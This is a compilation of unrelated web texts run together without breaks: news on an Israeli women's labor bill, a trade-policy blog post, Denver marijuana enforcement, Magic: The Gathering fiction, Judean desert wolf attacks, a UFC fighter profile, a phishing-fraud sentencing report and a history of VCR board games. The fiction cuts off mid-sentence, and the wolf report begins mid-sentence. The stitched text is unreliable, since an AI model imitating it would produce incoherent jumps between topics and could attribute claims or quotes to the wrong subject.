A source with the committee predicted that petitions to cancel the law might be filed with the High Court, but in the meantime, the bill will continue along the legislative route, and move onto the Knesset where it will likely enjoy coalition support.
According to the proposal, the law in its current form "is confined to the territories included in Israel's sovereignty and does not apply to Israeli citizens living in Judea and Samaria. In light of this, the rights of women in these areas are trampled, and they are barred from enjoying the rights the legislature worked to grant them.
"The proposed legislation requests to apply the current Women Labor Law both within and outside the green line and prevent the situation by which women rights are violated," regardless of the women's nationality.
In wake of the bill's approval by the committee, MK Struk said: "The approval of the bill is the normal and proper thing to do – it recognizes, at last, that it is inconceivable that human rights in general, and women's rights specifically, will end at the green-line. As the prime minister said last week: 'I will not allow the (rights of) hundreds of thousands of Israelis living in Judea and Samaria to be hurt."
The bill was formulated several months ago after MK Struk received a request from a Shomron resident who lost her job as a caretaker because of her pregnancy.
According to MK Struk, in wake of the woman's request, she contacted the Economy Ministry, which is in charge of enforcing the Women Labor Law, in a bid to prevent such incidents from recurring.
However, the ministry, which is headed by Habayit Hayehudi chairman Naftali Bennett, responded that its hands were tied because of "lack of jurisdiction in implementing the law beyond the green-line."
MK Struk's legislation is intended to circumnavigate this issue and will thus apply to Palestinian women employed by Israelis in the West Bank.
Follow Ynetnews on Facebook and TwitterJoe Nocera on Politicians and Trade
Joe Nocera used his NYT column this morning to beat up on a number of politicians who oppose President Obama's call for fast-track authority to facilitate passage of the Trans-Pacific Partnership (TPP) and the Trans-Atlantic Trade and Investment Pact (TTIP). He claims that they have the trade story badly wrong and that recent trade deals have actually been a big help to the country.
While Nocera may be correct in saying that many politicians have exaggerated the negative impact on NAFTA and other recent trade deals (stop the presses! politicians exaggerating!), but their basic story is correct. There are three points that people should understand in assessing the impact of trade and the meaning of these trade deals:
1) Trade has been an important factor increasing inequality in the United States;
2) The trade deficit is the major reason that the economy has weak demand and remains far below full employment;
3) The TPP and TTIP are about imposing a corporate friendly regulation structure, not trade.
Taking these in turn, the fact that trade has been a major factor contributing to inequality is no longer just a claim from the fringe lefty types. Paul Krugman has written about as has M.I.T. economist David Autor. It was even highlighted in the report of the commission on inclusive prosperity set up by the Center for American Progress and co-chaired by Larry Summers.
The basic point is a simple one. We constructed trade agreements designed to put our steelworkers and textile workers in direct competition with low-paid workers in the developing world. The predicted and actual effect of this policy is to lower the wages of steelworkers and textile workers.
If anyone finds this difficult to understand, imagine that the trade deals of the last quarter century were focused on making it as easy as possible for smart kids in India, China, and other developing countries to train to U.S. standards and then work as doctors, lawyers, dentists and in other highly paid professions in the United States. What would we expect to happen to the wages of doctors, lawyers, dentists and other highly paid professionals? They would fall, bingo!
The story on the trade deficit should be equally straightforward. Our annual trade deficit of $500 billion (@ 3.0 percent of GDP) is a direct drain on domestic demand. This represents money being spent by workers and companies in the United States that is creating demand in other countries, not in the United States. In the good old days, mainstream economists ridiculed the idea that a trade deficit could lead to a shortfall in demand because they assumed as an article of faith that any demand lost due to a trade deficit would be made by increased demand from other sources.
Well, now we have "secular stagnation," a story of a sustained shortfall in demand. And this is not a story just coming from the left, it's being preached by all sorts of very mainstream economists. While the recognition that the economy can suffer from a shortfall in demand is a great step forward for the economics profession, they keep looking for the causes in the wrong places. We keep hearing about depressed consumers and balance sheet problems discouraging consumption. However fans of the data know that consumption is actually relatively high. The current saving rate of less than 5.0 percent of disposable income is actually quite low by historic standards (low savings means high consumption).
This means that those looking for the basis for our secular stagnation in low consumption are looking for something that is not there. (It's even scarier when they find it.) Anyhow, the obvious source of our shortfall in demand is the large trade deficit. This can be blamed in part on the trade deals, but most immediately it should be blamed on the dollar being over-valued against other currencies. This is due to the fact that many countries (most notably China) deliberately prop up the value of the dollar against their currency by buying up large amounts of dollars.
The United States could address this in its trade policy and in trade deals like TPP and TTIP, but chooses not to since powerful interests benefit from an over-valued dollar. Walmart has spent years and tens of billions of dollars developing a low-cost supply chain in the developing world. GE has moved much of its manufacturing overseas to take advantage of low-cost labor. The Wall Street boys are bigger actors in the rest of the world with a strong dollar. Besides, it helps them to fight their arch enemy: inflation.
In short, people are absolutely right to blame the trade deficit for the loss of millions of jobs. Furthermore, the resulting high unemployment and weak labor market has a large effect in depressing the wages of tens of millions of workers.
Finally, Nocera is badly mistaken in imagining that the TPP and TTIP are about trade. With few exceptions, the formal trade barriers between these countries and the United States are already very low. While there may be some benefit to eliminating them altogether, no one would spend years negotiating a trade pact to knock a tariff of 1-2 percent down to zero. It just doesn't matter much.
Rather these trade deals are about imposing a corporate friendly regulatory structure both on our trading partners and the United States. In the case of drugs, the pharmaceutical industry wants stronger and longer patent related protections (yes, I said "protections") that will raise drug prices. The entertainment industry wants stronger and longer copyright protection. (Remember the Stop On-Line Piracy Act? It might be back in these deals.) There will be limits on the ability of state, local, and national governments to impose environmental regulations, health and safety standards, and even financial regulation like Dodd-Frank. Best of all, the final determination of whether a law violates the trade agreements will be taken out of the hands of the U.S. legal system and turned over to an extra-territorial investor-state dispute resolution tribunal.
So that is what Nocera is pushing for in his column today. He is not arguing for trade, he is arguing for a new set of rules that will make the economy even more friendly to corporate interests than is already the case.A panel set up to review Denver's marijuana policies has recommended that police refrain from busting adults who fire up during the Democratic National Convention.
Police will have to deal with numerous security issues next week when thousands of people - ranging from protestors to delegates - descend on Denver, said Mason Tvert, leader of a group that sponsored a law mandating that marijuana be a low-enforcement priority.
"It is absolutely absurd for the police to be spending any of their time worrying about adults using a drug that is less harmful than alcohol," he said today.
Tvert, who also sits on the Marijuana Policy Review Panel, said he would deliver the recommendation to Mayor John Hickenlooper, Police Chief Gerald Whitman and Denver City Council president Jeanne Robb. [Denver Post]
Police in Denver must be so sick of Mason Tvert. But in case they haven't noticed, he's not gonna stop calling them out until they stop wasting valuable public safety resources on petty pot busts:Of course, this conversation wouldn't even be happening if Denver police just listened to the people they serve. The citizens of Denver voted against petty marijuana enforcement not once, but twice, first legalizing possession of up to an ounce, and then calling on police to make marijuana enforcement the lowest priority. Is there anything confusing or ambiguous about that?If the community makes a statement about what type of policing they want, it is law-enforcement's job to make it work. Anything less renders the police department a rogue agency, abusing the very population whose tax dollars pay police salaries.Ken Troop is a designer and writer at Wizards of the Coast. He has written the short story "Five Brothers" for the Shadowmoor anthology and has written "Talrand, Sky Summoner" and "The Consequences of Attraction" for Uncharted Realms.
Garruk Wildspeaker is not the man he once was. Cursed by Liliana Vess and the sinister power of the Chain Veil, he turned his savage instincts toward hunting the most dangerous prey of all: other Planeswalkers. Left unchecked, he would have slaughtered his way through the multitude of planes.
But—SPOILERS—following the events of Magic 2015—Duels of the Planeswalkers, Garruk's situation has changed. Implanted with a hedron from Zendikar, he finds that the curse's hold over him has lessened, although certainly not lifted. Now he faces a question that could determine his fate: Is Garruk Wildspeaker a monster?
And he is not the only one who wants to know...
He preferred hunting his prey. Moving, chasing, anticipating, watching the quarry's fear reduce it to the instinctive rituals life follows as death chases. So many different forms of life, all with different weapons and defenses and styles and knowledge; but faced with the hunt, they all act the same—the breathlessness and instinctive turns, the widening eyes and the last surge of speed, the final stages of being prey. To be hunted was to die. To hunt was to live.
He hated waiting. He had been still in the underbrush for several hours. His right leg had cramped hard off and on for twenty minutes. He had not screamed. The pain was intense, but manageable in comparison to the other recent pain his body had been through. But then, being stabbed with daggers through the throat seemed manageable compared to the pain he had been through. Although he couldn't see it, he could feel the hedron lodged in his flesh, softly pulsing like a second heart.
His chance at a second life, of a sort. The hedron was cold, and alien. Many years ago he would have been driven mad by this intrusion of magic and artifice directly into his body. There was no escaping its presence. Its pulsing. The hedron thrummed, although to a tune and tempo that only he could hear. He would live with it, though. His body and his mind were his own again. That freedom was worth any price.
In Garruk's Wake | Art by Chase Stone
He had waited for his prey for a long time. It was his third day back on Shandalar, hoping to get a glimpse. When he last left Shandalar, he thought he would never return. But there he was, just weeks later. A new hunt, a new quarry.
"Garruk." It was a whisper of a breeze. A soft, low, female voice. One he had once searched for.
"Garruk." The whisper came from behind him. Garruk rose slowly. There was no need for haste anymore. He had been found. He turned, and a small pinpoint of white light dancing in the forest clearing ahead slowly weaved in figure eights. As Garruk approached, the light it flitted away, deeper into the forest.
Ahead of an open clearing, mists coalesced into murky pools among a thin copse of trees. The dot of light vanished into the mist. Garruk could not discern any details behind the shimmering opaque gauze. Most of Garruk's senses had been altered during the curse, mostly for the worse. With the hedron holding the curse in check, there was no further damage done, but neither had there been healing. Yet more insults and injuries.
A figure strode out of the mists into the clearing. Long, raven-black hair framed a beautiful face. There were light etchings on her face and arms, thin runic lines, but in the dim forest light they were invisible, although Garruk knew they were there. Her normally light violet eyes were obscured by a soft purplish glow. Most would describe the smile on her face as alluring, but Garruk knew the cold cruelty that drove it. Her dress and leggings were exactly the same as the last time they met, when Garruk tried his best to kill her.
He had failed. He loosened his axe from the sheath on his back and drew it. The haft rested gently in his hands. The axe had been a dear friend in ending the lives of many Planeswalkers when Garruk was in the full throes of the curse. It just hadn't ended the life of the Planeswalker who had cursed him. Not yet, anyway.
"Liliana Vess." His voice was a full throaty rumble that carried across the clearing. Her smile became an open smirk.
Liliana of the Veil | Art by Steve Argyle
"Garruk. You're looking remarkably better than the last time we met. I've always found killing to be an effective way of staying healthy. You must be very healthy."
Her voice was dulcet lashes of satin. Her bared shoulders slightly tipped and swayed as she spoke. Garruk wondered who between the two of them had killed more. He grudgingly acknowledged he might not win that contest. He continued to stand at the edge of the clearing, holding his axe steady.
"No primal roar? No swinging your axe trying to split my head open? Why Garruk, I almost wouldn't be embarrassed to have you over to a dinner party. Find a way to remove your smell and that hedron sticking out of you and you might even be presentable as my arm candy."
Garruk said nothing. He re-slung his axe in it its sheath and walked slowly over to Liliana. She raised her arms, and the same purple glow suffusing her eyes illuminated her hands. The last time Garruk had seen that glow from Liliana's hands, it had meant a great deal of pain for him. He continued his slow stride toward her.
"How close to killing me were you last time? You had your hands on my throat, choking the life from me, your stinking breath threatening to be my last sensation. Underneath your rage, I could feel your excitement, your desire to kill. It's glorious, isn't it, to see the life flee from those who have hurt you, those who have wronged you? How would people ever know there were consequences, unless people like you and me existed?"
Liliana continued, with the purple glow of her raised hands intensifying. But no magic erupted. No dark tendrils to grip Garruk nor ghouls rising from the ground to slow his path.
Garruk contemplated letting this farce drag out further, but he had to get back to hunting his prey.
"The looks are perfect, and you have her voice right. But the smells are all wrong, Beleren."
Garruk stopped a few feet from where Liliana stood. Her form shimmered and dissolved, and a much different and uglier form replaced her.
The figure barely came up to the middle of Garruk's chest, a scrawny, slight man, dressed in a blue cloak and clothing. His hood was up, obscuring his face, but Garruk knew what he would see if the hood was down. When last Garruk saw Jace Beleren, Garruk had his hands around the smaller man's throat, trying to kill him. Garruk recognized a pattern, and he smiled. Liliana may have been an illusion, but she was right. He did enjoy killing.
Jace looked up from under his hood. "You've killed a lot of people, Garruk. I have to make sure that's not going to happen again."
Jace, the Living Guildpact | Art by Chase Stone
"I couldn't have killed them if you hadn't sent them to find me in the first place. Stop trying to find me, and people won't die." Garruk felt the weight of the axe on his back, and he knew how much time he needed to draw it and swing. But at that distance, he didn't need the axe.
"We can help you. The hedron has bought us time. Come back with me to Ravnica. I've already convened some of our best healers..."
"Who is this we? Where were you when my body was wracked with pain, when my summons decayed in front of me, when voices sought to claim my body and mind?" His voice ended in a shout. His hands clenched into fists before relaxing and then clenching again.
"Garruk, you need to come with me. We need to make sure that you're healed, that you won't kill again." Jace's voice was calm, even, confident, as though perfectly designed to send Garruk into a rage.
"And if I do want to kill again? Maybe right now?"
"Then I'll stop you. Garruk, this is not you. The hedron only keeps the curse in check, it hasn't healed you. Come with me." Jace held out a hand. Garruk took it.
"You're not taking me anywhere." Garruk pulled Jace toward him and head-butted him. Jace exploded into glass, shards flying everywhere, and Garruk could feel blood dripping from his face where the glass had cut him. Illusions could kill.
But so could he. He roared in the clearing as he unslung his axe. Figures of Jace sprung up all around him, each form a perfect copy, hands up in a defensive posture.
"I don't want to hurt you, Garruk."
"Lucky for me, I don't feel the same way."
"Garruk, this is not a fair fight. You've suffered enough. Please. Come with me."
Garruk swung his axe through the illusions. Each one shattered like glass. The air around Garruk solidified into an icy goo, his movements slowed, his breathing labored.
Gossamer Phantasm | Art by Jon Foster
"These illusions are good, Beleren. But to be this good..." Garruk's arm lashed out to the side and found what should have been an invisible form. "...you have to be really close."
Garruk's hand closed around Jace's neck. For the first time ever, Garruk saw a look of surprise on Jace Beleren's face.
"How? Garruk..."
He didn't beg. Garruk respected that.
"First, you spend too much time inside minds. Pay closer attention to the real world, Jace. Second..."
Garruk saw a shimmer in front of him, and a ghost image of Jace was superimposed over the real one. The image of Jace widened ever so slightly, and Garruk's hands automatically loosened to fit. This repeated until the real Jace had enough room to slowly ease his neck out of Garruk's grip. Garruk tightened the grip hard.
"How are you...? You shouldn't be able to..." Jace's words ended as he struggled to breathe.
"Second, you rely too much on illusions. Learn to fight, little man!"
Jace's face turned purple. Garruk loosened his grip slightly. Jace took in a big gulp of air, and let out a single word: "Monster." The first time Garruk had heard that word from Jace during their first encounter, it had been like a blow.
Garruk laughed. "You're right, I am a monster. Third, and this one is important: if you come after me again, or send someone, you will die. Do you doubt me?"
Jace shook his head. He still didn't look afraid. At least the mind mage wasn't all jelly.
"I can't..." Jace's voice was raspy, and he struggled to regain his breath. "I can't leave you as a homicidal maniac. I have to..."
Garruk sighed.
"Go ahead and read me, Beleren. I'm not that complicated."
Garruk could feel the foreign touch in his mind, and despite all he had done to set up the encounter, he almost ended Jace's life there. He would kill every single |
entered the family’s tent before being chased off, only to return and attack her child a few hours later. She told Haaretz she only became aware the wolf had returned when she saw it on top of her child.
“I saw him move his nose over her,” she said. “I ran and grabbed her and saw blood and holes from fangs in her lower back. It wasn’t that he tried to attack her, he really tried to grab her and take her away.”
Haim Berger, who did his doctoral research on wolf behaviour and guides visitors to see wild animals in the desert, told the Guardian his own family had also encountered a wolf at a campsite near Masada without being aware there had been attacks.
“I had no idea there had been a problem because it had not been publicised,” Berger said. “In the middle of the night one of my girls woke me and said there is a wolf here. I didn’t know about recent attacks even though the park ranger had come round the the day before. Now they are warning people.”
Before this summer, the last wolf attack reported occurred in 2008, Berger said. He believes that the animals have become increasingly habituated to humans attracted by litter bins and other food around the campsites. Unlike in countries such as the United States and Canada, there is little awareness among campers in Israel of how to holiday safely around wild animals.
“I’ve been warning about the risk of this for almost 15 years – the risk of wolves getting gradually more used to humans and trying to convince people that we need to keep a greater distance,” said Berger.
Berger said no recent research had been conducted into the wolves in the Judean desert. But he believes the spate of attacks probably involves a single individual or individuals from a pack of about 20 wolves, which would usually hunt over a far wider area.
The number of younger children involved in the attacks has led Berger to believe the wolves were exhibiting predatory behaviour.
“We need to educate people in behaviour that avoids attracting animals to campsites and also work to discourage wolves from coming near people,” he said.
“It is a change in behaviour that happened because of people,” said Gilad Gabay, southern region director of the Israel nature and parks authority, discussing the attacks.
“People need to understand that they are in the heart of nature and that every [time a wolf feeds on litter] that has significance. We won’t rest until we stop this, but we need the cooperation of the public.”Red-hot Ultimate Fighting Championship (UFC) lightweight Michael Johnson is closing in fast on a division title shot, but also acknowledges the mounting challenge ahead.
The No. 5 ranked 155-pound contender asked for former champion Benson Henderson following his one-sided dismissal of Edson Barboza back in Feburary, and will now face "Smooth" on July 12 on FOX Sports 1 (more on that fight here).
A winner of four-straight fights, "Menace" is fully aware of what's at stake when he steps into the cage at The Ultimate Fighter (TUF) 21 finale, especially because of the roller coaster of a ride he took to get to this point in his Octagon career.
Johnson's father passed away when he was still in elementary school and it took a toll on the young Missourian. His mother, Therese, took sole care of her three sons, with Michael being the youngest of the trio. He was involved in physical altercations with students moving forward, which in turn made it difficult for Johnson to focus on his schoolwork.
"I guess you can kind of say my dad's passing made me a little bit more aggressive," recalled Johnson. "It probably did do that. It was hard on me and my brothers so it definitely changed me."
A death in the family, especially one that's as early in a child's life as was the case with Johnson, can stunt growth and will sometimes carry everlasting effects. A father and son connection is important. Having an attentive father as a healthy role model can help a son accept his own masculinity, which will often result in a more authentic and integrated young man, says marriage and family therapist Robert Glover.
With that being said, Johnson's reaction was natural as a boy. His focus was displaced and he dispensed his anger onto others. Though it initially had negative repercussions, Johnson eventually corralled his emotions, turning something deeply unfortunate into fuel for his already-sweltering desire for competition.
"It's not the real reason I started fighting," Johnson said. "MMA was something that I always wanted to do. I just never had the time being a three-sport athlete in high school, I never had the time to train."
He grew up in St. Louis, Missouri and went to Marquette High School, where he joined the football, wrestling, track, and volleyball teams. When it came to the gridiron, Johnson was a versatile performer, playing both sides of the ball.
Johnson was comparable to a dual-threat athlete, like former Chicago Bears electric playmaker Devin Hester, who also ran track in his days playing for the University of Miami. Except Johnson, unlike Hester, was not only quick on his feet, but a bruising and intimidating force wherever he lined up.
"I was a running back and strong safety," said Johnson. "I also played offense with like a defensive mindset. I wasn't trying to get out of the way of people. I'm more like, 'They're in my way, I'm going to run you over.'"
That type of attitude is what originally saw him consider a career in the NFL. Johnson attributes much of what he's been able to accomplish fighting in the UFC to his athletic base, which he forged through his days of playing high school and college football.
Upon being recruited to play defense for Division-I Central Methodist University, an NAIA school, Johnson weighed close to 200 pounds. Although the original game plan by the coaching staff of the Eagles was to have the thunderous talent play defense, he had other ideas.
"I told the coach 'I want to play offense. I want to be a running back.' That's what I wanted to do, so they gave me a chance at running back," said Johnson.
After playing one season at running back for Central Methodist, Johnson chartered course to a significantly larger school, Meramec Community College, which was about 140 miles away in Kirkland, Missouri. He took up public relations and business -- even briefly returning to the football field -- before realizing that the world of combat sports is where he was destined to "make money and make a living."
Inside the confines of the Archers' gymnasium is where Johnson would put together a wrestling campaign that would elevate his name to be included with that of the best wrestlers in the country. From there, Johnson moved to Springfield and attended Missouri State for a short time, but soon found most of his time being spent in the gym hitting pads and mats, rather than books.
Johnson's upstart mixed martial arts (MMA) career was spurred through the training he received at The Springfield Fight Club. In 2008, at the age of 21, he began fighting professionally at a rapid pace. Johnson competed in 12 MMA bouts in the span of two years, capturing two different lightweight titles along the way, but those numbers don't tell the full extent of his beginnings.
Despite getting his hand raised eight times, the powerful and athletic Johnson was also green. He was submitted in each of the four fights he lost. These were just things that happened to inexperienced wrestlers who were new to the fight game. He was only going to get better and smooth out his rough edges. Either that, or continue on a downward path in the sport.
While Johnson remained focused on the process of progress, he also had his goals set high. He wanted to fight in the Octagon.
Johnson, through the help of some sponsors at the time, tracked down the producers of the UFC's successful reality show and followed them across the country between 2008-2010. He tried out for season eight and nine, before landing a spot on the Georges St. Pierre vs. Josh Koscheck-led edition. The initial rejections never spurned his confidence; it only gave him more motivation to prove them wrong.
"I had a goal and wanted to reach it. In order for me to reach that goal, I felt the best way for me to get to that goal was to go through TUF. I kept trying out and got denied. I went all the way to Vegas and got denied the first time," said Johnson of his troubles getting to the big stage. "I'm like 'Okay well, I have to keep going.' That's exposure you're going to get, you know building up. You're not thrown in there with all these guys that have fought in the UFC before. That was my main goal that I had.
Pretty much, the last interview I had, I told them 'I'm getting tired of chasing you guys across the country. You need to put me in this season.' I guess they were like, 'We're getting tired of seeing you chase us around the country, we're going to give you a shot.'"
And to whom much is given, much is tested. Johnson made it into the TUF house by defeating ground specialist Pablo Garza. He was then subsequently picked second by the welterweight champion at the time, St. Pierre, and was on his way to becoming the runner up of season 12.
Johnson faced adversity, and displayed grit and toughness in each of his three fights in the house against Aaron Wilkinson, Alex Caceres, and Nam Phan. In the show's finale, he lost a hard-fought decision to Jonathan Brookins. Then came a period of stagnation for the Missouri native, along with some growing pains.
"Right after TUF, it took them awhile to get me a fight in the UFC. I think it was six months after the finale. I used that time to dedicate myself. I went in and got a first-round knockout but ended up losing my second fight," Johnson said. "Then I'm thinking like 'Oh shit, I need to work on some things.' Maybe I'm not ready yet. Then, I came back and won three in a row. I was sitting on this high horse and I made the mistake that every fighter makes probably, and they never admit to it, but I felt I was unbeatable."
His early victories over fellow high-level wrestlers Shane Roller, Tony Ferguson, and Danny Castillo were thwarted by one-sided beatdowns at the hands of Myles Jury and Reza Madadi; the former of which was particularly frustrating.
"I had trained with him [Myles] before so I thought that I'd go in there and beat him, no problem. He got the best of me. He ended up beating me and I was still really sour about that and I went in and lost two in a row," said Johnson. "At that point, that's when a lot of things changed for me, you know? You're on the cusp of being cut. I'm thinking like 'What the hell am I going to do? I can't work a regular desk job. I don't want to go back to school.' I remade myself."
After experiencing several bumps in the road, Johnson knew he had to go back to the drawing board. The physical attributes were there. He had the wrestling ability and knockout power, but he was being manhandled by fighters he knew that he could beat. He had to refine his game plan without getting too far ahead of himself. Johnson's new team at the Blackzilians camp in Boca Raton, Florida, helped him achieve that goal.
"One of the main reasons we're successful is because we're in the gym, making sure we get what we need from each other," Johnson said. "Then the coaches in there, they've just done wonders for my career. I've been working with Jake [Bonacci] for my last four fights and you've seen the product. You see his work and then you've got Henri [Hooft] and Greg Jones and Jorge Santiago."
Since the Madadi loss, Johnson has been on a tear, capturing wins over Joe Lauzon, Gleison Tibau, Melvin Guillard and most recently, Barboza. In each of the aforementioned tilts, Johnson's overall MMA game progressed to new heights. He was even beating his opponents standing, which was once considered one of his glaring weaknesses.
"Michael Johnson to me is definitely a contender and can hang with the best. I'm just glad that he's finally starting to grow into that," said teammate and former UFC champ Rashad Evans. "I've been with Michael since we first started the Blackzilians and just to watch him develop as a fighter and a person has been tremendous."
With his last victory over Barboza, which came after a near one-year layoff due to a torn labrum, Johnson jumped up into the upper echelon of the 155-pound division. It was a leap that was indicative of all of the time and effort he put into his evolution as an MMA fighter.
"I had Rashad there. He was in Brazil with me, and my coaches, of course. Then I fought with Cezar [Ferreira]; he fought right before me. The feeling; it felt great. After almost a year layoff, it felt really good to get in there and get a win the way I did," remembers Johnson.
The Barboza win also brought forth a stark reminder that success can be lost just as quickly as it's achieved and nobody knows that more than Johnson.
"Nevertheless, I looked at it as in, 'Okay, now this win makes everything harder now and the competition gets tougher,'" said Johnson. "My training has to step up another notch. I've got to be more dedicated and focused on the sport."
Johnson's next assignment is Henderson, who he will face at the TUF 21 finale. With a win over "Smooth," the No. 5 ranked lightweight, who recently began preparations for their July 12 tussle, will be in prime position for a title shot. And as always, he's going to let his fighting do all the talking.
"The other fighters who do all the talking and end up getting their way, like they talk their way into title fights. Good for them, hats off to them. It's just not me," exclaims Johnson. "I rather fight my way up the rankings. I rather have people look at me and say 'Hey, he's fought his way up. That guy deserves his title shot.'"A California man was sentenced to 12 years and seven months in prison Thursday for his role as the brains behind a widespread phishing scam that took in more than 38,000 victims.
That Tien Truong Nguyen, 34, worked with Romanian scammers to drive users to websites that were set up to look up like they belonged to legitimate financial institutions. After victims entered their information on the sites, Nguyen sold the data to two alleged co-conspirators, Stefani Ruland and Ryan Price, who used the information to set up lines of credit -- typically between US$1,000 and $2,000 -- at instant credit kiosks at Wal-Mart stores.
They used those lines, as well as fake credit cards made using the stolen data, to purchase products from Wal-Mart, which they then sold for cash.
Prosecutors say Ruland and Price stole nearly $193,000 in less than two months by hitting Wal-Mart stores throughout California. They have both been sentenced to prison in connection with the fraud, according to Lauren Horwood, a spokeswoman for the U.S. Department of Justice.
When police arrested Nguyen in January 2007, they found stolen information, including bank and credit card numbers, belonging to 38,500 victims.
They also found 20 Web templates used to make fake sites for businesses such as eBay and local banks, including Florida's Fairwinds Credit Union and Washington's Heritage Bank.
In court filings, prosecutors said Nguyen, who went by the name Tim, got involved in phishing because it was easy money. He told investigators that "he wanted to quit identity theft, but resumed it if he was smoking methamphetamine; and that the drug gave him the drive to do identity theft," prosecutors said.
In a sentencing memorandum, Nguyen's lawyers said his drug problems started at age 15 and that, despite previous criminal convictions, he had turned his life around since his arrest. Nguyen immigrated to the U.S. at age 3 but could face deportation as a result of his conviction, his lawyers wrote.
The judge in the case, U.S. District Judge Morrison England, Jr., apparently did not buy that argument. He sentenced Nguyen to 12 years and seven months on fraud and hacking charges, and for being a felon in possession of a Remington 12-gauge shotgun.
Nguyen couldn't be reached for comment Thursday.
Robert McMillan covers computer security and general technology breaking news for The IDG News Service. Follow Robert on Twitter at @bobmcmillan. Robert's e-mail address is robert_mcmillan@idg.com"So YOU are the coward! You cannot succeed! You do not deserve the glory of death. I offer you the chance to save your pitiful life. I am launching a shuttle. You may go aboard immediately and leave this ship."
This was a choice I didn't expect from a board game. I could stand fast aboard the starship Enterprise, beside my fellow Federation officers in their final minutes of resistance, or I could flee from the mighty Klingon warrior Kavok and spend the rest of my days relaxing on the tropical beaches of Risa. Put that way, it hardly seemed like a choice at all. I bailed. And they exploded, in a gloriously cheesy sequence of recycled Star Trek footage.
In the hour of playing time contained within the Star Trek TNG: A Klingon Challenge VCR board game, that choice was the first original moment that wasn't derivative of the genre's progenitor, the Australian game Nightmare. Like the electronic board games of the late 1970s and 1980s, VCR games relied on a gimmick to widen their audience reach or resell an existing game (nothing says "gimmick" better than Chutes and Ladders VCR).
Many VCR board games weren't actually board games at all: The Clue VCR Mystery Game, released in 1985, ditched a game board in favor of cards and score sheets and tasked players with following a low budget, hammed up video to spot clues and deduce whodunit. VHS tapes added action and "excitement," but they were also unwieldy from the start: fast-forwarding to a certain case in Clue could quickly grow tedious.
Then everything changed. In 1991, two Australian game designers named Brett Clements and Phil Tanner released a horror-themed game called Nightmare, featuring a vaguely Palpatine-esque hooded figure barking orders and insults from a VHS tape.
The VHS Nightmare
"The hard part was working out how a board game could scare somebody," said Clements, who now works as a creative director and cinematographer for Australian video production company Platinum HD. I found Clements online after researching A Couple 'A Cowboys, the production company he founded with Phil Tanner several years before Nightmare was released. They were both experienced in front of the camera and behind it as actors, directors and producers, and Clements had designed successful games before Nightmare like Oz Quiz and DARE.
"I'd always wanted to do a horror game," Clements wrote in an email when we first started discussing the Nightmare series. "I'd had all the artwork, the name and the game board done. It was just sitting there waiting for a concept. Then one day--I think I was under a bench-press at the time--bang, the idea of using a video tape as a means to deliver random instructions and a SHOCK, via the sound track, just came to me. I rang Philand said I'd got 'it'."
That "it" turned out to be a new way of integrating VHS with the board game experience. In Nightmare, The Gatekeeper occasionally appears on screen to scare, ridicule, or help players as they attempt to collect enough keys to win the game. When The Gatekeeper isn't on screen, a clock counts up towards the 60 minute mark. If no one wins the game within an hour, it's better luck next time.
"We could have put Nightmare out without a tape and it would've flopped," Clements told me. "The tape gave us that means to deliver really sudden sounds. If you turned the lights down you'd get scared, and to compound that people would get stoned and play it, so away we go."
As much as the horror concept was meant to deliver shocks, Nightmare was designed to be as silly as it was scary. "I wanted to take the piss out of the devil," Clements wrote, "or out of evil. We give evil too much energy by giving it power in the movies we make. I wanted to scare people--fun."
"Brett's scripts were very funny, you laughed even when you were being yelled at," wrote Phil Tanner, who retains the rights to the Nightmare series and has released two modern versions in DVD form. "In the first game brett wrote a [scene] where the gatekeeper asks a player--little maggot--to come closer to the screen because he has something very private and very special to tell them. In the end he is whispering to encourage them to come closer and when the player does he yells at them about coming too close. It didn't matter whether you knew what was going to happen or not it still worked a treat."
The VCR games that preceded Nightmare used video as a supplement, but Nightmare and the games that followed directed the entire play experience with a strict time limit and frequent commands. Nightmare immediately set the standard for the genre and was an unusual success before it was even released. "After a couple of days of selling Roadshow secured over 70,000 presales in Australia which was unheard of," said Tanner. "Milt Barlow, who headed Roadshow, did the most extraordinary job of selling the game worldwide. He literally pulled together multi-million dollar minimum guarantees that were unheard of at that time."
A Couple 'A Cowboys followed Nightmare with a series of expansions that used the original board but added extra cards and a new VHS tape. Baron Samedi hosted Nightmare II; witch Anne De Chantraine hosted the third. The suspension of disbelief necessary to become immersed in a VCR game obviously makes them best suited to kids, but there's a goofy charm to Nightmare that works in a group context. The game rules even suggest playing with teams to up the player count, and many of the cards players draw are designed to get them into the mood of the game. "Anytime an opponent fals to answer me YES! MY GATEKEEPER take all their Time and Fate cards and give them this with a message from me: You disobeyed," reads one. "At 57:15 SCREAM! If you can scare all opponents, receive a key," reads another.
The Nightmare series, or Atmosfear as it was known in Europe, was enormously popular for a game that relied on a VHS gimmick. A Couple 'A Cowboys sold two million copies in two years, but was never able to crack the US market. Even Nightmare's follow-up, a series reboot called The Harbingers released in 1995, never sold as well as Clements and Tanner would've liked. It was a near thing.
"Our big chance at the US market was in a man by the name of Tom Vernon, who'd marketed Trivial Pursuit," Clements recalled. "Tom believed it was going to be the next big hit in the US market. But. He died of cancer a few weeks out from the New York Toy Fair. Then everything else in the overseas marketing, short of the UK, fell apart. Close but no cigar."
A Klingon Gatekeeper
Take away the Star Trek skin and the 1993 VCR game Star Trek TNG: A Klingon Challenge looks a whole lot like Nightmare. The "host," a Klingon warrior named Kavok (played by actor Robert O'Reilly, who occasionally appeared in the series as Klingon Chancellor Gowron), hijacks the Enterprise and barks commands and insults at players throughout the game. Kavok even demands players respond with "Yes, Captain Kavok!" which is a slightly sillier exclamation than "Yes, my Gatekeeper!" because it involves slapping a Star Trek communicator sticker every few minutes. You wear the sticker on your chest. It's really, really nerdy.
A Klingon Challenge was filmed on the Next Generation set, so it at least looks authentic. O'Reilly's over-the-top performance, a script packed with Terminator 2 references and exclamations like "Experience Bij!" and recycled CG footage make the game seem more unintentionally hammy than the tongue-in-cheek Nightmare. But the game structure is identical: players collect five isolinear chips and a phaser instead of six keys, and computer access cards offer the same kinds of time-based interrupts that allow players to sabotage one another. Time ticks down from 60 minutes, and at 00:00 Gowron Kavok uses the hijacked Enterprise to start an interstellar war between the Klingon Empire and the Federation.
Star Wars: The Interactive Video Board Game, released in 1996, again aped Nightmare's design with Darth Vader issuing commands and insulting players. Nightmare's greatest strength was the replayability it offered through a variety of expansions. Both the Star Wars and Star Trek VHS games were one-off creations far more predictable than electronic board games like Dark Tower; Nightmare, at least, offered multiple hosts and sets of cards over its run.
But even that wasn't enough to keep the VCR game genre alive for much longer. Before DVDs became popular, VHS games were disappearing from the market, and even A Couple 'A Cowboys were watching new technologies and the expanding video game market.
Video Home System Obsolescence
